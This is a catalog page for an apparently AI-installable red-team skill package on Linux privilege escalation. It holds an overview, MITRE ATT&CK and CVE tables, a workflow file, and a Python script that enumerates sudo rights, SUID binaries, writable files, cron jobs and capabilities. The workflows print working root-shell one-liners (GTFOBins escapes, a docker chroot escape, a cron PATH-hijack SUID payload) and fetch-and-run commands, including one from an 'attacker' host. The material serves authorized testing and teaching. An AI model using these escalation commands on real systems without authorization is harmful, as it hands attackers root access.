red teaming

Performing Privilege Escalation on Linux

Linux privilege escalation involves elevating from a low-privilege user account to root access on a compromised system. Red teams exploit misconfigurations, vulnerable services, kernel exploits, and weak permissions to achieve root. This skill covers both manual enumeration techniques and automated tools for identifying and exploiting privilege escalation vectors.

adversary-simulationexploitationlinuxmitre-attackpost-exploitationprivilege-escalationred-team
Install this skill
npx skills add mukul975/Anthropic-Cybersecurity-Skills
Framework mappings

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Overview

Linux privilege escalation involves elevating from a low-privilege user account to root access on a compromised system. Red teams exploit misconfigurations, vulnerable services, kernel exploits, and weak permissions to achieve root. This skill covers both manual enumeration techniques and automated tools for identifying and exploiting privilege escalation vectors.

When to Use

  • When conducting security assessments that involve performing privilege escalation on linux
  • When following incident response procedures for related security events
  • When performing scheduled security testing or auditing activities
  • When validating security controls through hands-on testing

Prerequisites

  • Familiarity with red teaming concepts and tools
  • Access to a test or lab environment for safe execution
  • Python 3.8+ with required dependencies installed
  • Appropriate authorization for any testing activities

MITRE ATT&CK Mapping

  • T1548.001 - Abuse Elevation Control Mechanism: Setuid and Setgid
  • T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching
  • T1068 - Exploitation for Privilege Escalation
  • T1574.006 - Hijack Execution Flow: Dynamic Linker Hijacking
  • T1053.003 - Scheduled Task/Job: Cron
  • T1543.002 - Create or Modify System Process: Systemd Service

Key Escalation Vectors

SUID/SGID Binaries

  • Find SUID binaries: find / -perm -4000 -type f 2>/dev/null
  • Check GTFOBins for exploitation methods
  • Custom SUID binaries may have vulnerabilities

Sudo Misconfigurations

  • sudo -l to list allowed commands
  • Wildcards in sudo rules allow injection
  • NOPASSWD entries for dangerous commands
  • sudo versions vulnerable to CVE-2021-3156 (Baron Samedit)

Kernel Exploits

  • Dirty Cow (CVE-2016-5195) for older kernels
  • Dirty Pipe (CVE-2022-0847) for kernel 5.8+
  • PwnKit (CVE-2021-4034) for pkexec
  • GameOver(lay) (CVE-2023-2640, CVE-2023-32629) for Ubuntu

Cron Job Abuse

  • World-writable cron scripts
  • PATH hijacking in cron jobs
  • Wildcard injection in cron commands

Capabilities

  • getcap -r / 2>/dev/null to find binaries with capabilities
  • cap_setuid allows UID manipulation
  • cap_dac_override bypasses file permissions

Writable Service Files

  • Systemd unit files with weak permissions
  • Init scripts writable by non-root users
  • Socket files in accessible locations

Tools and Resources

Tool Purpose
LinPEAS Automated privilege escalation enumeration
LinEnum Linux enumeration script
linux-exploit-suggester Kernel exploit matching
pspy Process monitoring without root
GTFOBins SUID/sudo binary exploitation reference
PEASS-ng Privilege escalation awesome scripts suite

Validation Criteria

  • Enumeration performed using automated tools
  • Privilege escalation vector identified
  • Root access achieved through identified vector
  • Evidence documented (screenshots, command output)
  • Alternative escalation paths identified
Source materials

References and resources

Everything below is rendered for inspection. Script files are read-only and never run.

References 3

api-reference.md1.8 KB

API Reference — Performing Privilege Escalation on Linux

Libraries Used

  • subprocess: Execute system enumeration commands (sudo, find, getcap, crontab)
  • os: Check file writability with os.access()
  • pathlib: File system navigation
  • re: Pattern matching for cron script paths

CLI Interface

python agent.py sysinfo
python agent.py sudo
python agent.py suid
python agent.py writable
python agent.py cron
python agent.py caps
python agent.py full

Core Functions

enumerate_system_info() — Kernel, user, architecture info

check_sudo_permissions() — Sudo privilege analysis

Checks sudo -l output against 30+ GTFOBins-exploitable binaries. Detects NOPASSWD entries and full sudo access.

find_suid_binaries() — SUID/SGID binary enumeration

Identifies binaries with SUID bit set. Cross-references GTFOBins database.

check_writable_files() — Sensitive writable file detection

Checks: /etc/passwd, /etc/shadow, /etc/sudoers, /etc/crontab, /root, cron dirs.

check_cron_jobs() — Cron job privilege escalation vectors

Identifies writable scripts called from cron jobs (CRITICAL finding).

check_capabilities() — Linux capability enumeration

Flags: cap_setuid, cap_setgid, cap_sys_admin, cap_dac_override, cap_net_raw.

full_enumeration() — Combined analysis

GTFOBins SUID Exploitable Binaries (subset)

vim, find, bash, python, perl, nmap, env, tar, docker, strace, gdb, pkexec

Dangerous Sudo Patterns

Pattern Severity Vector
(ALL) NOPASSWD: /usr/bin/vim CRITICAL Shell escape
(ALL : ALL) ALL CRITICAL Full root access
NOPASSWD: /usr/bin/find CRITICAL -exec escalation

Dependencies

No external packages — Python standard library only. System: find, getcap, sudo, crontab

standards.md1.2 KB

Standards and Framework References

MITRE ATT&CK - Privilege Escalation (TA0004)

Technique ID Name Description
T1548.001 Setuid and Setgid Exploit SUID/SGID binaries
T1548.003 Sudo and Sudo Caching Abuse sudo misconfigurations
T1068 Exploitation for Privilege Escalation Kernel/service exploits
T1574.006 Dynamic Linker Hijacking LD_PRELOAD/LD_LIBRARY_PATH abuse
T1053.003 Cron Abuse scheduled tasks
T1543.002 Systemd Service Writable service manipulation

Common Kernel CVEs

CVE Name Kernel Range CVSS
CVE-2016-5195 Dirty Cow < 4.8.3 7.8
CVE-2021-4034 PwnKit (pkexec) Polkit < 0.120 7.8
CVE-2022-0847 Dirty Pipe 5.8 - 5.16.10 7.8
CVE-2021-3156 Baron Samedit (sudo) sudo < 1.9.5p2 7.8
CVE-2023-2640 GameOver(lay) Ubuntu kernels 7.8
CVE-2023-0386 OverlayFS 5.11 - 6.2 7.8

CIS Benchmark - Linux

  • Ensure permissions on /etc/crontab are configured (600 root:root)
  • Ensure SUID/SGID files are reviewed regularly
  • Ensure sudo is configured to use a pseudo-TTY
  • Ensure no world-writable files exist in system paths
workflows.md3.2 KB

Linux Privilege Escalation Workflows

Workflow 1: Manual Enumeration

System Information

# OS and kernel version
uname -a
cat /etc/os-release
cat /proc/version
 
# Check for writable paths
find / -writable -type d 2>/dev/null
find / -writable -type f 2>/dev/null
 
# Network info
ip a
ss -tlnp
netstat -tulpn

SUID/SGID Binaries

# Find SUID binaries
find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null
 
# Cross-reference with GTFOBins
# https://gtfobins.github.io/

Sudo Configuration

sudo -l
# Check for:
# - (ALL) NOPASSWD: /usr/bin/vim
# - (ALL) NOPASSWD: /usr/bin/find
# - (ALL) NOPASSWD: /usr/bin/python3
# - Wildcard entries: /usr/bin/rsync *

Cron Jobs

cat /etc/crontab
ls -la /etc/cron.*
crontab -l
# Monitor processes for hidden cron
# Use pspy to see processes running as root

Capabilities

getcap -r / 2>/dev/null
# Interesting capabilities:
# cap_setuid - python3, perl, ruby
# cap_dac_override - any binary
# cap_net_raw - tcpdump

Workflow 2: Automated Enumeration

LinPEAS

# Download and run
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
 
# Or transfer and run
wget http://attacker/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh -a 2>&1 | tee linpeas_output.txt

Linux Exploit Suggester

wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
chmod +x linux-exploit-suggester.sh
./linux-exploit-suggester.sh

Workflow 3: Common Exploitation

SUID Binary Exploitation (GTFOBins)

# /usr/bin/find with SUID
find . -exec /bin/sh -p \; -quit
 
# /usr/bin/python3 with SUID
python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'
 
# /usr/bin/vim with SUID
vim -c ':!sh'
 
# /usr/bin/nmap with SUID (old versions)
nmap --interactive
!sh

Sudo Abuse Examples

# sudo vim
sudo vim -c ':!sh'
 
# sudo find
sudo find / -exec /bin/sh \; -quit
 
# sudo python3
sudo python3 -c 'import pty; pty.spawn("/bin/bash")'
 
# sudo env with LD_PRELOAD
# If env_keep+=LD_PRELOAD is set:
# Compile shared object that spawns shell
# sudo LD_PRELOAD=/tmp/exploit.so /usr/bin/any_allowed_command

PwnKit (CVE-2021-4034)

# Check if vulnerable
pkexec --version
# Vulnerable: polkit < 0.120
 
# Multiple public exploits available
# Usage: compile and run - instant root

Dirty Pipe (CVE-2022-0847)

# Check kernel version
uname -r
# Vulnerable: 5.8 <= kernel < 5.16.11, 5.15.25, 5.10.102
 
# Exploit overwrites read-only files via pipe splice

Workflow 4: Advanced Techniques

Docker Escape (if user is in docker group)

# Check group membership
id
# If in docker group:
docker run -v /:/mnt --rm -it alpine chroot /mnt sh

NFS Root Squashing Bypass

# Check NFS exports
showmount -e target
cat /etc/exports
# If no_root_squash is set:
# Mount share, create SUID binary, execute on target

PATH Hijacking in Cron

# If cron job uses relative paths:
# Create malicious binary in writable PATH directory
echo '#!/bin/bash\ncp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' > /tmp/command_name
chmod +x /tmp/command_name
# Wait for cron to execute, then:
/tmp/rootbash -p

Scripts 1

agent.py8.4 KB
Display-only source. This catalog never executes bundled scripts.
#!/usr/bin/env python3
"""Agent for performing Linux privilege escalation enumeration — authorized testing only."""

import json
import argparse
import subprocess
import os
import re
from datetime import datetime
from pathlib import Path


def enumerate_system_info():
    """Gather basic system information for privilege escalation assessment."""
    cmds = {
        "hostname": ["hostname"],
        "kernel": ["uname", "-a"],
        "os_release": ["cat", "/etc/os-release"],
        "architecture": ["uname", "-m"],
        "current_user": ["whoami"],
        "id": ["id"],
        "env_path": ["echo", "$PATH"],
    }
    results = {}
    for key, cmd in cmds.items():
        try:
            result = subprocess.run(cmd, capture_output=True, text=True, timeout=10)
            results[key] = result.stdout.strip()
        except Exception as e:
            results[key] = str(e)
    return {"system_info": results, "timestamp": datetime.utcnow().isoformat()}


def check_sudo_permissions():
    """Check sudo permissions for current user."""
    try:
        result = subprocess.run(["sudo", "-l"], capture_output=True, text=True, timeout=10)
        output = result.stdout + result.stderr
        escalation_vectors = []
        dangerous_binaries = [
            "vim", "vi", "nano", "less", "more", "man", "find", "nmap", "python",
            "python3", "perl", "ruby", "lua", "awk", "bash", "sh", "env", "cp",
            "mv", "tar", "zip", "wget", "curl", "ftp", "nc", "ncat", "docker",
            "lxc", "mount", "strace", "ltrace", "gdb", "journalctl", "systemctl",
        ]
        for binary in dangerous_binaries:
            if binary in output and "NOPASSWD" in output:
                escalation_vectors.append({"binary": binary, "type": "SUDO_NOPASSWD", "severity": "CRITICAL"})
            elif binary in output:
                escalation_vectors.append({"binary": binary, "type": "SUDO_WITH_PASSWORD", "severity": "HIGH"})
        if "ALL) ALL" in output or "(ALL : ALL) ALL" in output:
            escalation_vectors.append({"type": "FULL_SUDO", "severity": "CRITICAL"})
        return {
            "sudo_output": output[:1000],
            "escalation_vectors": escalation_vectors,
            "has_sudo": result.returncode == 0,
        }
    except Exception as e:
        return {"error": str(e)}


def find_suid_binaries():
    """Find SUID/SGID binaries that may allow privilege escalation."""
    cmd = ["find", "/", "-perm", "-4000", "-type", "f", "-exec", "ls", "-la", "{}", ";"]
    try:
        result = subprocess.run(cmd, capture_output=True, text=True, timeout=30)
        binaries = []
        gtfobins_suid = [
            "nmap", "vim", "find", "bash", "more", "less", "nano", "cp", "mv",
            "python", "python3", "perl", "ruby", "awk", "env", "tar", "zip",
            "docker", "strace", "ltrace", "gdb", "pkexec", "mount",
        ]
        for line in result.stdout.strip().splitlines():
            parts = line.split()
            if len(parts) >= 9:
                path = parts[-1]
                name = Path(path).name
                exploitable = name in gtfobins_suid
                binaries.append({
                    "path": path, "permissions": parts[0],
                    "owner": parts[2], "group": parts[3],
                    "exploitable": exploitable,
                })
        exploitable = [b for b in binaries if b["exploitable"]]
        return {
            "total_suid": len(binaries),
            "exploitable": len(exploitable),
            "suid_binaries": binaries[:30],
            "exploitable_binaries": exploitable,
        }
    except Exception as e:
        return {"error": str(e)}


def check_writable_files():
    """Find world-writable files and directories of interest."""
    interesting_paths = ["/etc/passwd", "/etc/shadow", "/etc/sudoers", "/etc/crontab",
                         "/etc/cron.d", "/etc/systemd/system", "/root"]
    findings = []
    for path in interesting_paths:
        p = Path(path)
        if p.exists():
            writable = os.access(str(p), os.W_OK)
            if writable:
                findings.append({"path": path, "writable": True, "severity": "CRITICAL"})
    cmd = ["find", "/", "-writable", "-type", "f", "-not", "-path", "'/proc/*'",
           "-not", "-path", "'/sys/*'", "-not", "-path", "'/dev/*'"]
    try:
        result = subprocess.run(cmd, capture_output=True, text=True, timeout=15)
        writable_files = result.stdout.strip().splitlines()[:50]
        sensitive = [f for f in writable_files if any(p in f for p in ["/etc/", "/root/", "cron", ".service", "/bin/", "/sbin/"])]
        findings.extend([{"path": f, "writable": True, "severity": "HIGH"} for f in sensitive[:10]])
    except Exception:
        pass
    return {"writable_findings": findings, "total_findings": len(findings)}


def check_cron_jobs():
    """Enumerate cron jobs for privilege escalation opportunities."""
    findings = []
    cron_paths = ["/etc/crontab", "/etc/cron.d", "/var/spool/cron/crontabs"]
    for path in cron_paths:
        p = Path(path)
        if p.is_file():
            content = p.read_text(encoding="utf-8", errors="replace")
            for line in content.splitlines():
                if line.strip() and not line.startswith("#"):
                    writable_script = re.search(r"(/\S+\.sh|/\S+\.py|/\S+\.pl)", line)
                    if writable_script:
                        script = writable_script.group(1)
                        if Path(script).exists() and os.access(script, os.W_OK):
                            findings.append({"cron_file": str(p), "script": script, "writable": True, "severity": "CRITICAL"})
        elif p.is_dir():
            for f in p.iterdir():
                if f.is_file():
                    findings.append({"cron_file": str(f), "type": "cron.d entry"})
    try:
        result = subprocess.run(["crontab", "-l"], capture_output=True, text=True, timeout=10)
        if result.returncode == 0:
            findings.append({"type": "user_crontab", "content": result.stdout[:500]})
    except Exception:
        pass
    return {"cron_findings": findings}


def check_capabilities():
    """Find binaries with Linux capabilities set."""
    try:
        result = subprocess.run(["getcap", "-r", "/"], capture_output=True, text=True, timeout=15)
        caps = []
        for line in result.stdout.strip().splitlines():
            parts = line.split(" = ")
            if len(parts) == 2:
                binary = parts[0].strip()
                cap = parts[1].strip()
                dangerous = any(c in cap for c in ["cap_setuid", "cap_setgid", "cap_sys_admin", "cap_dac_override", "cap_net_raw"])
                caps.append({"binary": binary, "capabilities": cap, "dangerous": dangerous})
        return {"capabilities": caps, "dangerous_caps": [c for c in caps if c["dangerous"]]}
    except Exception as e:
        return {"error": str(e)}


def full_enumeration():
    """Run complete privilege escalation enumeration."""
    return {
        "timestamp": datetime.utcnow().isoformat(),
        "system": enumerate_system_info(),
        "sudo": check_sudo_permissions(),
        "suid": find_suid_binaries(),
        "writable": check_writable_files(),
        "cron": check_cron_jobs(),
        "capabilities": check_capabilities(),
    }


def main():
    parser = argparse.ArgumentParser(description="Linux Privilege Escalation Enumeration Agent (Authorized Only)")
    sub = parser.add_subparsers(dest="command")
    sub.add_parser("sysinfo", help="System information")
    sub.add_parser("sudo", help="Check sudo permissions")
    sub.add_parser("suid", help="Find SUID/SGID binaries")
    sub.add_parser("writable", help="Find writable sensitive files")
    sub.add_parser("cron", help="Enumerate cron jobs")
    sub.add_parser("caps", help="Check Linux capabilities")
    sub.add_parser("full", help="Full enumeration")
    args = parser.parse_args()
    if args.command == "sysinfo":
        result = enumerate_system_info()
    elif args.command == "sudo":
        result = check_sudo_permissions()
    elif args.command == "suid":
        result = find_suid_binaries()
    elif args.command == "writable":
        result = check_writable_files()
    elif args.command == "cron":
        result = check_cron_jobs()
    elif args.command == "caps":
        result = check_capabilities()
    elif args.command == "full":
        result = full_enumeration()
    else:
        parser.print_help()
        return
    print(json.dumps(result, indent=2, default=str))


if __name__ == "__main__":
    main()
Keep exploring